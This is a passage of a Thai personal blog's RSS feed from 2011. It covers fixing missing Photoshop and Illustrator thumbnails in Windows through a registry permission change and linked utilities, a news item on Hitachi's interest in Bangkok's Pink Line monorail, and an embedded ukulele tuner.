		<description><![CDATA[เรื่องของเรื่องหลังจากลง Adobe CS4 ไปแล้ว icon ที่เป็น .ai และ .psd กลับกลายเป็นรูป icon ของ photoshop และ illustrator ไปหมด ถ้าตั้งชื่อไม่สื่อก็จะทำให้ต้องเปิดดูทุกไฟล์เลยว่า ใช่ไฟล์ที่เราต้องการหรือเปล่า การแก้ปัญหาสำหรับ Adobe CS1 และ Adobe CS2 Download ไฟล์แก้ปัญหา Thumbnail ของ Photoshop และ Illustrator สำหรับ Adobe CS1 และ CS2 สามารถ Download ไฟล์ แล้วแตกไฟล์ไปที่ C:\Program Files\Common Files\Adobe\Shell แล้ว Click Run ที่ไฟล์ AdobeFix.reg เท่านั้นทั้งไฟล์ .psd และ .ai ก็จะมีเห็นเป็น Thumbnail แล้วครับ การแก้ปัญหาสำหรับ Adobe CS3 และ Adobe CS4 [...]]]></description>
			<content:encoded><![CDATA[<p>เรื่องของเรื่องหลังจากลง Adobe CS4 ไปแล้ว icon ที่เป็น .ai และ .psd กลับกลายเป็นรูป icon ของ photoshop และ illustrator ไปหมด ถ้าตั้งชื่อไม่สื่อก็จะทำให้ต้องเปิดดูทุกไฟล์เลยว่า ใช่ไฟล์ที่เราต้องการหรือเปล่า</p>
<p><strong>การแก้ปัญหาสำหรับ Adobe CS1 และ Adobe CS2</strong></p>
<p><a href="http://www.nop.in.th/wp-content/uploads/2011/05/Adobe_CS4_FIX_Thumbnail.zip" target="_blank">Download ไฟล์แก้ปัญหา Thumbnail ของ Photoshop และ Illustrator</a></p>
<p>สำหรับ Adobe CS1 และ CS2 สามารถ <a href="http://www.nop.in.th/wp-content/uploads/2011/05/Adobe_CS4_FIX_Thumbnail.zip" target="_blank">Download</a> ไฟล์ แล้วแตกไฟล์ไปที่<br />
C:\Program Files\Common Files\Adobe\Shell<br />
แล้ว Click Run ที่ไฟล์ AdobeFix.reg เท่านั้นทั้งไฟล์ .psd และ .ai ก็จะมีเห็นเป็น Thumbnail แล้วครับ</p>
<p><span id="more-814"></span></p>
<p><strong>การแก้ปัญหาสำหรับ Adobe CS3 และ Adobe CS4</strong></p>
<p>แต่สำหรับ กรณี CS3 และ CS4 นั้นทุกครั้งที่เปิด Illustrator และ Photoshop โปรแกรมจะไปลบ Key ใน Registry เพื่อแสดง Thumbnail ออกเนื่องจาก อยากให้ไปใช้ Adobe Bridge แทน</p>
<p><span style="color: #ff0000;">วิธีแก้ปัญหาค่อนข้างซับซ้อนและเสี่ยงต่อความเสียหายของ Registry ก่อนทำกรุณา Backup Register เสียก่อน ไม่งั้นอาจจะทำให้เปิด Windows ไม่ขึ้นได้นะครับ</span><br />
ก่อนอื่นให้เข้าไปที่ regedit ก่อน (เข้าไปที่ run แล้วพิมพ์ regedit)<br />
เข้าไปตามนี้ครับ</p>
<p>HKEY_CLASSES_ROOT\CLSID\{0C5B0CED-206B-4c39-B615-0EB23C824612}\InProcServer32<br />
ถ้าจะให้ง่ายเข้ามาหน่อย ก็ Search หา</p>
<p><span style="color: #808000;">0C5B0CED-206B-4c39-B615-0EB23C824612</span></p>
<p>ที่มี Sub เป็น <strong>InProcServer32 </strong>ถ้าหาไม่เจอ ห้าทำต่อนะครับ<br />
จากนั้นคลิกขวาที่ Key InProcServer32 ดังภาพ</p>
<p><a href="http://www.nop.in.th/wp-content/uploads/2011/05/001.png"><img class="alignnone size-full wp-image-815" title="001" src="http://www.nop.in.th/wp-content/uploads/2011/05/001.png" alt="" width="611" height="562" /></a></p>
<p><a href="http://www.nop.in.th/wp-content/uploads/2011/05/001.png"></a>คลิกเลือกที่ Permission จะพบหน้าจัดการ Permission ในตรงนี้โดยทั่วไป จะมีแค่ Everyone เท่านั้นครับ ให้คลิกที่ปุ่ม Advanced</p>
<p><a href="http://www.nop.in.th/wp-content/uploads/2011/05/002.png"><img title="002" src="http://www.nop.in.th/wp-content/uploads/2011/05/002.png" alt="" width="551" height="469" /></a></p>
<p>จะเจอหน้าต่างจัดการ Permission ให้คลิกปุ่ม Add</p>
<p><a href="http://www.nop.in.th/wp-content/uploads/2011/05/003.png"><img class="alignnone size-full wp-image-817" title="003" src="http://www.nop.in.th/wp-content/uploads/2011/05/003.png" alt="" width="463" height="246" /></a></p>
<p>จะเป็นหน้าต่างในการเลือก User ให้คลิกที่ Advanced อีกครั้ง</p>
<p><a href="http://www.nop.in.th/wp-content/uploads/2011/05/006.png"><img class="alignnone size-full wp-image-818" title="006" src="http://www.nop.in.th/wp-content/uploads/2011/05/006.png" alt="" width="521" height="586" /></a></p>
<p>ให้คลิกปุ่ม Find Now จากนั้นให้เลือกชื่อ User ที่เรา Login เข้าใช้งานอยู่ โดยตัวอย่างของผมเป็น Administrator เมื่อเลือกแล้วกด OK</p>
<p><a href="http://www.nop.in.th/wp-content/uploads/2011/05/007.png"><img class="alignnone size-full wp-image-819" title="007" src="http://www.nop.in.th/wp-content/uploads/2011/05/007.png" alt="" width="367" height="468" /></a></p>
<p>จะมีหน้าต่างกำหนดสิทธิการแก้ไข ให้ดูว่า Apply Onto ต้องเป็นเฉพาะ This key and Subkey และ คลิก Delete เป็น Deny แล้วก็กด Ok</p>
<p>เมื่อเสร็จขั้นตอนแล้ว Illustrator ก็จะไม่สามารถลบ Registry ที่เราเพิ่มเข้าไปได้แล้วครับ</p>
<p>สำหรับ Photoshop มีโปรแกรมที่แสนง่าย Install แล้ว Thumbnail ขึ้นเลย ชื่อว่า Mysticthumbs ไม่ต้อง Set อะไรวุ่นวายง่ายมากลอง<br />
โหลดไปใช้ดูได้เลยครับ</p>
<p><a href="http://www.nop.in.th/wp-content/uploads/2011/05/mysticthumbs198_x86.zip" target="_blank">Download โปรแกรม Mysticthumbs</a></p>
<p>ขอบคุณข้อมูลจาก web<br />
<a href="http://blogs.sitepoint.com/adobe-cs3-and-the-case-of-the-disappearing-thumbnails-the-sequel/" target="_blank">http://blogs.sitepoint.com/adobe-cs3-and-the-case-of-the-disappearing-thumbnails-the-sequel/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/graphics-design/fix-explorer-photoshop-illustrator-thumbnail-cs4/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ฮิตาชิ สนลุยรถไฟฟ้าสายสีชมพูมั่นใจเชี่ยวชาญระบบ โมโนเรล</title>
		<link>http://www.nop.in.th/chit-chat/follow-mrt-pink-line/hitachi-interest-monorail-pink-line/</link>
		<comments>http://www.nop.in.th/chit-chat/follow-mrt-pink-line/hitachi-interest-monorail-pink-line/#comments</comments>
		<pubDate>Wed, 20 Apr 2011 01:35:47 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[ตามติดรถไฟฟ้าสายสีชมพู]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/?p=810</guid>
		<description><![CDATA[นายสุพจน์ ทรัพย์ล้อม ปลัดกระทรวงคมนาคม และประธานคณะกรรมการ (บอร์ด)การรถไฟฟ้าขนส่งมวลชนแห่งประเทศไทย(รฟม.) เปิดเผยว่า เมื่อวันที่ 19 เมษายนที่ผ่านมานายฮิโรอากิ นาคานิชิ ประธาน บริษัท ฮิตาชิจำกัด จากประเทศญี่ปุ่น เดินทางเข้าพบ แสดงความสนใจเข้าร่วมลงทุนในโครงการรถไฟฟ้าสายสีชมพู ช่วงแคราย-มีนบุรี มูลค่าประมาณ 4.2 หมื่นล้านบาท หลังเห็นว่าโครงการดังกล่าวเป็นระบบรถไฟฟ้ารางเดี่ยว หรือโมโนเรล ฮิตาชิมีความเชี่ยวชาญทางด้านเทคโนโลยีการก่อสร้างอยู่แล้ว ขั้นตอนหลังจากนี้ฮิตาชิจะกลับไปจัดทำข้อเสนอ เพื่อเตรียมเข้าร่วมประกวดราคาด้วย ความคืบหน้าโครงการ รฟม.อยู่ระหว่างคัดเลือกที่ปรึกษาศึกษาทบทวนความเหมาะสมปรับปรุงแบบ ที่ผ่านมามีเอกชนยื่นข้อเสนอรายเดียว คือ บริษัท ทีม คอน ซัลติ้ง เอ็นจิเนียริ่งแอนด์ แมเนจเมนท์ จำกัด มีบริษัทในกลุ่มประกอบด้วย บริษัท ทีม โลจิสติกส์ แอนด์ทรานสปอร์ต จำกัด บริษัท ซี คอนซัลท์ เอ็นจิเนียริ่ง จำกัด บริษัท วิศวกรที่ปรึกษา นิวโมเดิลจำกัด และโต นิชิ เอ็นจิเนียริ่ง คอนซัลแทนท์จากทั้งหมด 11 [...]]]></description>
			<content:encoded><![CDATA[<p>นายสุพจน์ ทรัพย์ล้อม ปลัดกระทรวงคมนาคม และประธานคณะกรรมการ (บอร์ด)การรถไฟฟ้าขนส่งมวลชนแห่งประเทศไทย(รฟม.) เปิดเผยว่า เมื่อวันที่ 19 เมษายนที่ผ่านมานายฮิโรอากิ นาคานิชิ ประธาน บริษัท ฮิตาชิจำกัด จากประเทศญี่ปุ่น เดินทางเข้าพบ แสดงความสนใจเข้าร่วมลงทุนในโครงการรถไฟฟ้าสายสีชมพู ช่วงแคราย-มีนบุรี มูลค่าประมาณ 4.2 หมื่นล้านบาท หลังเห็นว่าโครงการดังกล่าวเป็นระบบรถไฟฟ้ารางเดี่ยว หรือโมโนเรล ฮิตาชิมีความเชี่ยวชาญทางด้านเทคโนโลยีการก่อสร้างอยู่แล้ว ขั้นตอนหลังจากนี้ฮิตาชิจะกลับไปจัดทำข้อเสนอ เพื่อเตรียมเข้าร่วมประกวดราคาด้วย</p>
<p>ความคืบหน้าโครงการ รฟม.อยู่ระหว่างคัดเลือกที่ปรึกษาศึกษาทบทวนความเหมาะสมปรับปรุงแบบ ที่ผ่านมามีเอกชนยื่นข้อเสนอรายเดียว คือ บริษัท ทีม คอน ซัลติ้ง เอ็นจิเนียริ่งแอนด์ แมเนจเมนท์ จำกัด มีบริษัทในกลุ่มประกอบด้วย บริษัท ทีม โลจิสติกส์ แอนด์ทรานสปอร์ต จำกัด บริษัท ซี คอนซัลท์ เอ็นจิเนียริ่ง จำกัด บริษัท วิศวกรที่ปรึกษา นิวโมเดิลจำกัด และโต นิชิ เอ็นจิเนียริ่ง คอนซัลแทนท์จากทั้งหมด 11 รายที่มารับเอกสาร คาดว่าภายในเดือนเมษายนนี้จะได้ข้อสรุป</p>
<p>รายงานข่าวแจ้งว่า โครงการดังกล่าว มีระยะทาง 34.5 กิโลเมตร มี 24 สถานี เบื้องต้นจะเริ่มก่อสร้างปลายปี 2555 และจะเปิดให้บริการปลายปี 2559</p>
<p>ข่าวจาก <a href="http://its.in.th/index.php/component/content/article/1-latest-news/6927-2011-04-19-22-44-08">http://its.in.th/index.php/component/content/article/1-latest-news/6927-2011-04-19-22-44-08</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/chit-chat/follow-mrt-pink-line/hitachi-interest-monorail-pink-line/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>การตั้งสาย Ukulele</title>
		<link>http://www.nop.in.th/chit-chat/tune-your-ukulele/</link>
		<comments>http://www.nop.in.th/chit-chat/tune-your-ukulele/#comments</comments>
		<pubDate>Tue, 12 Apr 2011 07:18:28 +0000</pubDate>
		<dc:creator>นพ</dc:creator>
				<category><![CDATA[เรื่องทั่วๆไป]]></category>

		<guid isPermaLink="false">http://www.nop.in.th/?p=807</guid>
		<description><![CDATA[โปรแกรมตั้งสาย ukulele ครับ ข้อมูลจาก http://www.get-tuned.com/online_ukulele_tuner.php]]></description>
			<content:encoded><![CDATA[<p>โปรแกรมตั้งสาย ukulele ครับ</p>
<p><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="500" height="490"><param name="movie" value="http://www.nop.in.th/wp-content/uploads/2011/04/ukulele-tuner.swf"><param name="quality" value="high"><embed src="http://www.nop.in.th/wp-content/uploads/2011/04/ukulele-tuner.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="500" height="490"></embed></object></p>
<p>ข้อมูลจาก <a href="http://www.get-tuned.com/online_ukulele_tuner.php">http://www.get-tuned.com/online_ukulele_tuner.php</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nop.in.th/chit-chat/tune-your-ukulele/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

